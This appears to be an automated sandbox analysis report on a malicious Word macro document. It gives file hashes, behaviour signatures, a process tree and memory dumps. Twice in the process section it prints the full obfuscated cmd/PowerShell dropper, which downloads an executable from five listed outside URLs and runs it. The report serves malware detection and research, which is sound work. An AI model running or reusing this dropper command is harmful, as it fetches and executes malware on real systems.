Overview

overview

10

Static

static

8

c876378058...18.doc

windows7-x64

10

c876378058...18.doc

windows10-2004-x64

10

Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    29-08-2024 08:10

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    c876378058888539bd55e0e04483c71e_JaffaCakes118.doc

  • Size

    81KB

  • MD5

    c876378058888539bd55e0e04483c71e

  • SHA1

    07b44b58f4cf4357ea5dd6ab49bd62f4857f1ff4

  • SHA256

    356f81da93971113ef694fe45b1cd40bd6c6cb74b2be7a60868a9e305fc57c4e

  • SHA512

    6e20ff2793ecb5ab3ebecc178cb743553fd235cb01367103b74397ea84059842b5dddc466af171fb269fe384177388ac01bf0bdf63bc9671b712e5601f36fc32

  • SSDEEP

    768:FtVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBd8LTTnLlCiJRz9wORjKkh58/460B:Ftocn1kp59gxBK85fBCLTbJCNw6Z+a96

Score
10/10
discoveryexecution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://samix-num.com/BcFUhvDr
exe.dropper

http://economiadigital.biz/NKq5eOZ
exe.dropper

http://ftp.dailyignite.club/YNB95t2
exe.dropper

http://migoshen.org/FNE1TVJjI
exe.dropper

http://vanoostrom.org/w8yXb69h5

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c876378058888539bd55e0e04483c71e_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2292
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1768
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
        2⤵
        • Process spawned unexpected child process
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2208
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $Prairie80='Internal14';$Massachusetts17=new-object Net.WebClient;$Somalia94='http://samix-num.com/BcFUhvDr@http://economiadigital.biz/NKq5eOZ@http://ftp.dailyignite.club/YNB95t2@http://migoshen.org/FNE1TVJjI@http://vanoostrom.org/w8yXb69h5'.Split('@');$solutions78='extend49';$eenable81 = '53';$NorthCarolina56='Lake74';$Rubber84=$env:public+'\'+$eenable81+'.exe';foreach($UgandaShilling85 in $Somalia94){try{$Massachusetts17.DownloadFile($UgandaShilling85, $Rubber84);$Concrete67='endtoend42';If ((Get-Item $Rubber84).length -ge 80000) {Invoke-Item $Rubber84;$Sleek97='ClothingGarden23';break;}}catch{}}$Wooden49='Greens14';
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2692

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1E355472.wmf
      Filesize

      494B

      MD5

      9d200ac22dfeb0213e7d31d0e770feec

      SHA1

      a6b63aececb45174545abf3091a1ed8f4ebb336c

      SHA256

      7a3d01febe385279776b60e8278e064a5df4f22121d4bb94b1d232f18a3b52a0

      SHA512

      1d7bd1ed0ea61a6ad1fade2a2833b1ec39b9d128915195da342a92f2130125e2ce2458440781135f6d5a54fa5b99c92203b3659ffcf85f8495a6d0e67ddf9b91

      Download Submit

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      9da4c28f200a93f357b4ef077de5f686

      SHA1

      4f11766a6178b4088010a62ed8c438f919cbaa23

      SHA256

      bb4d0c2d5833e20e86646438403db1f2aa75c26b8809bc3f3831c43913a781dc

      SHA512

      a7aad3428362d0e16d2b7d124e7971c4bed0da931cba07bc2235ecb1def8214a9b929d700e2cc2f1d9b619cae0465394041c86a5d41ce6e33053b239c9215416

      Download Submit

    • memory/2292-30-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-40-0x000000007105D000-0x0000000071068000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2292-2-0x000000007105D000-0x0000000071068000-memory.dmp

      Filesize

      44KB

      Download

    • memory/2292-27-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-31-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-29-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-0-0x000000002F151000-0x000000002F152000-memory.dmp

      Filesize

      4KB

      Download

    • memory/2292-8-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-41-0x0000000005700000-0x0000000005800000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-42-0x00000000065F0000-0x00000000066F0000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-43-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2292-59-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

    • memory/2292-65-0x0000000000370000-0x0000000000470000-memory.dmp

      Filesize

      1024KB

      Download

    • memory/2292-64-0x000000007105D000-0x0000000071068000-memory.dmp

      Filesize

      44KB

      Download